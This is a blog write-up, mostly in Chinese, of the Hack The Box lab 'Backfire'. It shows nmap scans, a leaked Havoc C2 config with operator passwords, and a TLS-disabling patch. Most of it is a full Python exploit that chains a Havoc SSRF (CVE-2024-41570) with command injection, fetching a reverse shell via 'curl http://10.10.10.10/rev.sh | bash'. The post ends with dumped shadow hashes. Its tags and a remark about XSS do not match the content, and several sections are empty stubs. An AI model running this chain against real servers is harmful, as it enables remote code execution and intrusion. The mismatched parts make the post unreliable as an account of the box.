Zumpyx Blog

Backfire

Machines#643MediumLinux

Tags: SQLi、Hashcat、Ghauri、Cacti、CVE-2024-25641、Mysql、SSH_Proxy、Duplicati

Recon & Enum

nmap -p- --min-rate 1000 -T4 -sC -sV -O -v $IP
---
PORT     STATE    SERVICE  VERSION
22/tcp   open     ssh      OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey: 
|   256 7d:6b:ba:b6:25:48:77:ac:3a:a2:ef:ae:f5:1d:98:c4 (ECDSA)
|_  256 be:f3:27:9e:c6:d6:29:27:7b:98:18:91:4e:97:25:99 (ED25519)
443/tcp  open     ssl/http nginx 1.22.1
| ssl-cert: Subject: commonName=127.0.0.1/organizationName=SYNERGY CO/stateOrProvinceName=Arizona/countryName=US
| Subject Alternative Name: IP Address:127.0.0.1
| Issuer: commonName=127.0.0.1/organizationName=SYNERGY CO/stateOrProvinceName=Arizona/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-05-14T01:08:17
| Not valid after:  2027-05-14T01:08:17
| MD5:   91a7:d3ca:b32b:44a0:a077:f29a:5120:e37a
|_SHA-1: c3a6:086e:daea:ec1c:9a27:f82c:6723:1c02:a1b3:a00e
| http-methods: 
|_  Supported Methods: POST
|_http-title: 404 Not Found
|_http-server-header: nginx/1.22.1
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|   http/1.1
|   http/1.0
|_  http/0.9
5000/tcp filtered upnp
7096/tcp filtered unknown
8000/tcp open     http     nginx 1.22.1
|_http-open-proxy: Proxy might be redirecting requests
| http-methods: 
|_  Supported Methods: GET HEAD POST
| http-ls: Volume /
| SIZE  TIME               FILENAME
| 1559  17-Dec-2024 11:31  disable_tls.patch
| 875   17-Dec-2024 11:34  havoc.yaotl
|_
|_http-title: Index of /
|_http-server-header: nginx/1.22.1

Shell as User1

image.png

![image.png](./assets/0643-backfire/image 1.png)

像是一个攻击者的 C2 设施

Teamserver {
    Host = "127.0.0.1"
    Port = 40056

    Build {
        Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
        Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
        Nasm = "/usr/bin/nasm"
    }
}

Operators {
    user "ilya" {
        Password = "CobaltStr1keSuckz!"
    }

    user "sergej" {
        Password = "1w4nt2sw1tch2h4rdh4tc2"
    }
}

Demon {
    Sleep = 2
    Jitter = 15

    TrustXForwardedFor = false

    Injection {
        Spawn64 = "C:\\Windows\\System32\\notepad.exe"
        Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
    }
}

Listeners {
    Http {
        Name = "Demon Listener"
        Hosts = [
            "backfire.htb"
        ]
        HostBind = "127.0.0.1" 
        PortBind = 8443
        PortConn = 8443
        HostRotation = "round-robin"
        Secure = true
    }
}
Disable TLS for Websocket management port 40056, so I can prove that
sergej is not doing any work
Management port only allows local connections (we use ssh forwarding) so 
this will not compromize our teamserver

diff --git a/client/src/Havoc/Connector.cc b/client/src/Havoc/Connector.cc
index abdf1b5..6be76fb 100644
--- a/client/src/Havoc/Connector.cc
+++ b/client/src/Havoc/Connector.cc
@@ -8,12 +8,11 @@ Connector::Connector( Util::ConnectionInfo* ConnectionInfo )
 {
     Teamserver   = ConnectionInfo;
     Socket       = new QWebSocket();
-    auto Server  = "wss://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
+    auto Server  = "ws://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
     auto SslConf = Socket->sslConfiguration();
 
     /* ignore annoying SSL errors */
     SslConf.setPeerVerifyMode( QSslSocket::VerifyNone );
-    Socket->setSslConfiguration( SslConf );
     Socket->ignoreSslErrors();
 
     QObject::connect( Socket, &QWebSocket::binaryMessageReceived, this, [&]( const QByteArray& Message )
diff --git a/teamserver/cmd/server/teamserver.go b/teamserver/cmd/server/teamserver.go
index 9d1c21f..59d350d 100644
--- a/teamserver/cmd/server/teamserver.go
+++ b/teamserver/cmd/server/teamserver.go
@@ -151,7 +151,7 @@ func (t *Teamserver) Start() {
 		}
 
 		// start the teamserver
-		if err = t.Server.Engine.RunTLS(Host+":"+Port, certPath, keyPath); err != nil {
+		if err = t.Server.Engine.Run(Host+":"+Port); err != nil {
 			logger.Error("Failed to start websocket: " + err.Error())
 		}
 

Havoc 服务是监听的本地地址,搜索相关漏洞,发现 CVE-2024-41570

https://blog.chebuya.com/posts/server-side-request-forgery-on-havoc-c2/ https://blog.includesecurity.com/2024/09/vulnerabilities-in-open-source-c2-frameworks/

# Exploit Title: Havoc C2 0.7 Unauthenticated SSRF
# Date: 2024-07-13
# Exploit Author: @_chebuya
# Software Link: https://github.com/HavocFramework/Havoc
# Version: v0.7
# Tested on: Ubuntu 20.04 LTS
# CVE: CVE-2024-41570
# Description: This exploit works by spoofing a demon agent registration and checkins to open a TCP socket on the teamserver and read/write data from it. This allows attackers to leak origin IPs of teamservers and much more.
# Github: https://github.com/chebuya/Havoc-C2-SSRF-poc
# Blog: https://blog.chebuya.com/posts/server-side-request-forgery-on-havoc-c2/
import binascii
import random
import requests
import argparse
import urllib3
urllib3.disable_warnings()


from Crypto.Cipher import AES
from Crypto.Util import Counter

key_bytes = 32

def decrypt(key, iv, ciphertext):
    if len(key) <= key_bytes:
        for _ in range(len(key), key_bytes):
            key += b"0"

    assert len(key) == key_bytes

    iv_int = int(binascii.hexlify(iv), 16)
    ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
    aes = AES.new(key, AES.MODE_CTR, counter=ctr)

    plaintext = aes.decrypt(ciphertext)
    return plaintext


def int_to_bytes(value, length=4, byteorder="big"):
    return value.to_bytes(length, byteorder)


def encrypt(key, iv, plaintext):

    if len(key) <= key_bytes:
        for x in range(len(key),key_bytes):
            key = key + b"0"

        assert len(key) == key_bytes

        iv_int = int(binascii.hexlify(iv), 16)
        ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
        aes = AES.new(key, AES.MODE_CTR, counter=ctr)

        ciphertext = aes.encrypt(plaintext)
        return ciphertext

def register_agent(hostname, username, domain_name, internal_ip, process_name, process_id):
    # DEMON_INITIALIZE / 99
    command = b"\x00\x00\x00\x63"
    request_id = b"\x00\x00\x00\x01"
    demon_id = agent_id

    hostname_length = int_to_bytes(len(hostname))
    username_length = int_to_bytes(len(username))
    domain_name_length = int_to_bytes(len(domain_name))
    internal_ip_length = int_to_bytes(len(internal_ip))
    process_name_length = int_to_bytes(len(process_name) - 6)

    data =  b"\xab" * 100

    header_data = command + request_id + AES_Key + AES_IV + demon_id + hostname_length + hostname + username_length + username + domain_name_length + domain_name + internal_ip_length + internal_ip + process_name_length + process_name + process_id + data

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id

    print("[***] Trying to register agent...")
    r = requests.post(teamserver_listener_url, data=agent_header + header_data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to register agent - {r.status_code} {r.text}")


def open_socket(socket_id, target_address, target_port):
    # COMMAND_SOCKET / 2540
    command = b"\x00\x00\x09\xec"
    request_id = b"\x00\x00\x00\x02"

    # SOCKET_COMMAND_OPEN / 16
    subcommand = b"\x00\x00\x00\x10"
    sub_request_id = b"\x00\x00\x00\x03"

    local_addr = b"\x22\x22\x22\x22"
    local_port = b"\x33\x33\x33\x33"


    forward_addr = b""
    for octet in target_address.split(".")[::-1]:
        forward_addr += int_to_bytes(int(octet), length=1)

    forward_port = int_to_bytes(target_port)

    package = subcommand+socket_id+local_addr+local_port+forward_addr+forward_port
    package_size = int_to_bytes(len(package) + 4)

    header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    data = agent_header + header_data


    print("[***] Trying to open socket on the teamserver...")
    r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to open socket on teamserver - {r.status_code} {r.text}")


def write_socket(socket_id, data):
    # COMMAND_SOCKET / 2540
    command = b"\x00\x00\x09\xec"
    request_id = b"\x00\x00\x00\x08"

    # SOCKET_COMMAND_READ / 11
    subcommand = b"\x00\x00\x00\x11"
    sub_request_id = b"\x00\x00\x00\xa1"

    # SOCKET_TYPE_CLIENT / 3
    socket_type = b"\x00\x00\x00\x03"
    success = b"\x00\x00\x00\x01"

    data_length = int_to_bytes(len(data))

    package = subcommand+socket_id+socket_type+success+data_length+data
    package_size = int_to_bytes(len(package) + 4)

    header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    post_data = agent_header + header_data

    print("[***] Trying to write to the socket")
    r = requests.post(teamserver_listener_url, data=post_data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to write data to the socket - {r.status_code} {r.text}")


def read_socket(socket_id):
    # COMMAND_GET_JOB / 1
    command = b"\x00\x00\x00\x01"
    request_id = b"\x00\x00\x00\x09"

    header_data = command + request_id

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    data = agent_header + header_data


    print("[***] Trying to poll teamserver for socket output...")
    r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Read socket output successfully!")
    else:
        print(f"[!!!] Failed to read socket output - {r.status_code} {r.text}")
        return ""


    command_id = int.from_bytes(r.content[0:4], "little")
    request_id = int.from_bytes(r.content[4:8], "little")
    package_size = int.from_bytes(r.content[8:12], "little")
    enc_package = r.content[12:]

    return decrypt(AES_Key, AES_IV, enc_package)[12:]

def create_websocket_request(host, port):
  request = (
    f"GET /havoc/ HTTP/1.1\r\n"
    f"Host: {host}:{port}\r\n"
    f"Upgrade: websocket\r\n"
    f"Connection: Upgrade\r\n"
    f"Sec-WebSocket-Key: 5NUvQyzkv9bpu376gKd2Lg==\r\n"
    f"Sec-WebSocket-Version: 13\r\n"
    f"\r\n"
  ).encode()
  return request

def build_websocket_frame(payload):
  payload_bytes = payload.encode("utf-8")
  frame = bytearray()
  frame.append(0x81)
  payload_length = len(payload_bytes)
  if payload_length <= 125:
  frame.append(0x80 | payload_length)
  elif payload_length <= 65535:
  frame.append(0x80 | 126)
  frame.extend(payload_length.to_bytes(2, byteorder="big"))
  else:
  frame.append(0x80 | 127)
  frame.extend(payload_length.to_bytes(8, byteorder="big"))
  masking_key = os.urandom(4)
  frame.extend(masking_key)
  masked_payload = bytearray(byte ^ masking_key[i % 4] for i, byte in
  enumerate(payload_bytes))
  frame.extend(masked_payload)
  return frame

parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="The listener target in URL format", required=True)
parser.add_argument("-i", "--ip", help="The IP to open the socket with", required=True)
parser.add_argument("-p", "--port", help="The port to open the socket with", required=True)
parser.add_argument("-A", "--user-agent", help="The User-Agent for the spoofed agent", default="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36")
parser.add_argument("-H", "--hostname", help="The hostname for the spoofed agent", default="DESKTOP-7F61JT1")
parser.add_argument("-u", "--username", help="The username for the spoofed agent", default="Administrator")
parser.add_argument("-d", "--domain-name", help="The domain name for the spoofed agent", default="ECORP")
parser.add_argument("-n", "--process-name", help="The process name for the spoofed agent", default="msedge.exe")
parser.add_argument("-ip", "--internal-ip", help="The internal ip for the spoofed agent", default="10.1.33.7")

args = parser.parse_args()


# 0xDEADBEEF
magic = b"\xde\xad\xbe\xef"
teamserver_listener_url = args.target
headers = {
        "User-Agent": args.user_agent
}
agent_id = int_to_bytes(random.randint(100000, 1000000))
AES_Key = b"\x00" * 32
AES_IV = b"\x00" * 16
hostname = bytes(args.hostname, encoding="utf-8")
username = bytes(args.username, encoding="utf-8")
domain_name = bytes(args.domain_name, encoding="utf-8")
internal_ip = bytes(args.internal_ip, encoding="utf-8")
process_name = args.process_name.encode("utf-16le")
process_id = int_to_bytes(random.randint(1000, 5000))

register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)

socket_id = b"\x11\x11\x11\x11"
open_socket(socket_id, args.ip, int(args.port))

USER = "ilya"
PASSWORD = "CobaltStr1keSuckz!"
host = "127.0.0.1"
port = 40056

websocket_request = create_websocket_request(host, port)
write_socket(socket_id, websocket_request)
response = read_socket(socket_id)
payload = {
  "Body": {
    "Info": {
      "Password": hashlib.sha3_256(PASSWORD.encode()).hexdigest(), 
      "User": USER
    }, 
    "SubEvent": 3
  }, 
  "Head": {
    "Event": 1, 
    "OneTime": "", 
    "Time": "18:40:17", 
    "User": USER
  }
}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)

payload = {
  "Body": {
    "Info": {
      "Headers": "",
      "HostBind": "0.0.0.0",
      "HostHeader": "",
      "HostRotation": "round-robin",
      "Hosts":"0.0.0.0",
      "Name":"abc",
      "PortBind":"443",
      "PortConn":"443",
      "Protocol":"Https",
      "ProxyEnabled":"false",
      "Secure":"true",
      "Status":"online",
      "Uris":"","UserAgent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
    },
    "SubEvent":1
  },
  "Head":{
    "Event":2,
    "OneTime":"",
    "Time":"08:39:18",
    "User": USER
  }
}

payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)

cmd = "curl http://10.10.10.10/rev.sh | bash"
injection = """ \\\\\\\" -mbla; """ + cmd + """ 1>&2 && false #"""
payload = {
  "Body": {
    "Info": {
      "AgentType": "Demon", 
      "Arch": "x64",
      "Config": "{\n \"Amsi/Etw Patch\": \"None\",\n \"Indirect Syscall\":false,\n \"Injection\": {\n \"Alloc\":\"Native/Syscall\",\n\"Execute\": \"Native/Syscall\",\n \"Spawn32\":\"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\",\n \"Spawn64\":\"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n },\n \"Jitter\":\"0\",\n \"Proxy Loading\": \"None (LdrLoadDll)\",\n \"ServiceName\":\"" + injection + "\",\n \"Sleep\": \"2\",\n \"Sleep JmpGadget\": \"None\",\n \"Sleep Technique\": \"WaitForSingleObjectEx\",\n\"Stack Duplication\": false\n}\n", 
      "Format": "Windows Service Exe",
      "Listener": "abc"
    }, 
    "SubEvent": 2
  }, 
  "Head": {
    "Event": 5, 
    "OneTime": 
    "true", 
    "Time": "18:39:04", 
    "User": USER
  }
}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)

print(response)

Local Enum

...
[suid]
...
[server port]
...

Shell as User2

Local Enum

...
user2 (nopasswd)
...

Shell as Root

More and More

这个靶机的主要难点,在于发现 XSS 漏洞后,如何进一步利用 …

Dump Hash

root:$y$j9T$YhphiLO.G4w3yAv438MQP/$3JhvSgFS6VV4F79Mi5VuQDkhg63yMgjbpy.krot/tn.:19996:0:99999:7:::
daemon:*:19993:0:99999:7:::
bin:*:19993:0:99999:7:::
sys:*:19993:0:99999:7:::
sync:*:19993:0:99999:7:::
games:*:19993:0:99999:7:::
man:*:19993:0:99999:7:::
lp:*:19993:0:99999:7:::
mail:*:19993:0:99999:7:::
news:*:19993:0:99999:7:::
uucp:*:19993:0:99999:7:::
proxy:*:19993:0:99999:7:::
www-data:*:19993:0:99999:7:::
backup:*:19993:0:99999:7:::
list:*:19993:0:99999:7:::
irc:*:19993:0:99999:7:::
_apt:*:19993:0:99999:7:::
nobody:*:19993:0:99999:7:::
systemd-network:!*:19993::::::
systemd-timesync:!*:19993::::::
messagebus:!:19993::::::
ilya:$y$j9T$QAKBQrxLvdJTOvPiSUD8Z.$970OYpnfl/koGTRGPbmxntWv/HzGp5Nrjr7Vwfv6NXA:19996:0:99999:7:::
sshd:!:19993::::::
sergej:$y$j9T$ToRPOlaRsEcSVPj7IrwIw/$7WM.jKKviRj8JoXWN2pjVqrxuunYDv/G4b0PHmsEFd2:19996:0:99999:7:::
_laurel:!:20069::::::

Exploit

Other

https://app.hackthebox.com/home https://app.hackthebox.com/machines https://app.hackthebox.com/challenges